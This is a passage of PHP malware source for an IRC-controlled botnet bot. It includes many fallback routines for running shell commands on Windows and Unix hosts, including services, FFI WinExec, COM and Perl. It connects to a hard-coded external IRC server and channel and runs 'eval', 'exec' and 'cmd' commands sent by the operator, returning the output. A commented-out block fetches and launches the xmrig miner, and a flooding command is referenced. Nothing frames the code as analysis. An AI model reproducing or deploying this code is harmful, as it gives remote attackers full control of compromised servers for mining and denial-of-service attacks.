$n, 'display' => $n, 'path' => $cmd, 'params' => "/c $command >\"$name\"")); win32_start_service($n); win32_stop_service($n); win32_delete_service($n); while (!file_exists($name))sleep(1); $exec = file_get_contents($name); unlink($name); return $exec; } function ffishelL($command) { $name = whereistmP()."\\".uniqid('NJ'); $api = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); $res = $api->WinExec("cmd.exe /c $command >\"$name\"", 0); while (!file_exists($name))sleep(1); $exec = file_get_contents($name); unlink($name); return $exec; } function comshelL($command, $ws) { $exec = $ws->exec("cmd.exe /c $command"); $so = $exec->StdOut(); return $so->ReadAll(); } function perlshelL($command) { $perl = new perl(); ob_start(); $perl->eval("system(\"$command\")"); $exec = ob_get_contents(); ob_end_clean(); return $exec; } function Exe($command) { $exec = $output = ''; $dep[] = array('pipe', 'r'); $dep[] = array('pipe', 'w'); if (function_exists('passthru')) {ob_start();@passthru_($command); $exec = ob_get_contents();ob_clean();ob_end_clean();} elseif (function_exists('system')) {$tmp = ob_get_contents();ob_clean();@system($command); $output = ob_get_contents();ob_clean(); $exec = $tmp;} elseif (function_exists('exec')) {@exec($command, $output); $output = join("\n", $output); $exec = $output;} elseif (function_exists('shell_exec')) {$exec = @shell_exec($command); } elseif (function_exists('popen')) {$output = @popen($command, 'r'); while (!feof($output)) {$exec = fgets($output);}pclose($output); } elseif (function_exists('proc_open')) {$res = @proc_open($command, $dep, $pipes); while (!feof($pipes[1])) {$line = fgets($pipes[1]); $output .= $line;}$exec = $output; proc_close($res); } elseif (function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {$exec = winshelL($command); } elseif (function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {$exec = srvshelL($command); } elseif (extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {$exec = ffishelL($command); } elseif (extension_loaded('perl')) {$exec = perlshelL($command); } return $exec; } if (!$ulti) { class sell { var $config = array("server" => "51.79.70.20", "port" => "6667", "key" => "CHANNEL KEY HERE", "prefix" => "fuckpmalol", "maxrand" => "5", "chan" => "#PMA", "trigger" => "->", "password" => "irciscool", "auth" => "irciscool"); var $users = array(); public function start() { while (true) { if (!($this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 65534))) {$this->start(); } $pass = $this->config['password']; $alph = range("0", "9"); $this->send("PASS ".$pass.""); $this->send("USER bot 127.0.0.1 localhost :bot"); $this->set_nick(); $this->main(); } } public function main() { while (!feof($this->conn)) { if (function_exists('stream_select')) { $read = array($this->conn); $write = NULL; $except = NULL; $changed = stream_select($read, $write, $except, 65534); if ($changed == 0) { fwrite($this->conn, "PING :lelcomeatme\r\n"); $read = array($this->conn); $write = NULL; $except = NULL; $changed = stream_select($read, $write, $except, 65534); if ($changed == 0) {break; } } } $this->buf = trim(fgets($this->conn, 512)); $cmd = explode(" ", $this->buf); if (substr($this->buf, 0, 6) == "PING :") {$this->send("PONG :".substr($this->buf, 6));continue;} if (isset($cmd[1]) && $cmd[1] == "001") { $this->auth($this->config['auth']); $this->joi($this->config['chan'], $this->config['key']); if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {$this->joi("#Win32"); } else { $this->joi("#Linux"); } continue; /* if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $ftpconn = ftp_connect("FTP IP HERE", 21); $ftp = ftp_login($ftpconn, "anonymous", "anonymous"); ftp_get($ftpconn, "xmrig.exe", "xmrig.exe"); ftp_get($ftpconn, "config.json", "config.json"); popen("xmrig.exe -c config.json", "r"); } else { $ftpconn = ftp_connect("FTP IP HERE", 21); $ftp = ftp_login($ftpconn, "anonymous", "anonymous"); ftp_get($ftpconn, "config.json", "config.json"); ftp_get($ftpconn, "xmrig", "xmrig"); exec("chmod 777 xmrig"); exec("xmrig -c config.json > /dev/null &"); } */ } if (isset($cmd[1]) && $cmd[1] == "433") {$this->set_nick();continue;} if ($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf, " :"), 2); $msgcmd = explode(" ", $msg); $nick = explode("!", $cmd[0]); $vhost = explode("@", $nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0], 1); $host = $cmd[0]; if ($msgcmd[0] == $this->nick) {for ($i = 0; $i < count($msgcmd); $i++) {$mcmd[$i] = $msgcmd[$i+1]; } } else { for ($i = 0; $i < count($msgcmd); $i++) {$mcmd[$i] = $msgcmd[$i]; } } if (count($cmd) > 2) { switch ($cmd[1]) { case "PRIVMSG": if (substr($mcmd[0], 0, 1) == "-") { switch (substr($mcmd[0], 1)) { case "dns": if (isset($mcmd[1])) { $ip = explode(".", $mcmd[1]); if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config['chan'], "[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config['chan'], "[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); } } break; case "uname": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {$safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan'], "[\2info\2]: ".$uname." (safe: ".$safemode.")"); break; case "raw": $this->send(strstr($msg, $mcmd[1])); break; case "eval": ob_start(); eval(strstr($msg, $mcmd[1])); $exec = ob_get_contents(); ob_end_clean(); $ret = explode("\n", $exec); for ($i = 0; $i < count($ret); $i++) {if ($ret[$i] != NULL) {$this->privmsg($this->config['chan'], " : ".trim($ret[$i])); } } break; case "exec": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0])+1); $exec = exec($command); $ret = explode("\n", $exec); for ($i = 0; $i < count($ret); $i++) { if ($ret[$i] != NULL) { $this->privmsg($this->config['chan'], " : ".trim($ret[$i])); } } break; case "cmd": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0])+1); $exec = Exe($command); $ret = explode("\n", $exec); for ($i = 0; $i < count($ret); $i++) {if ($ret[$i] != NULL) {$this->privmsg($this->config['chan'], " : ".trim($ret[$i])); } } break; case "help": $this->privmsg($this->config['chan'], "[\2-udpflood(udp)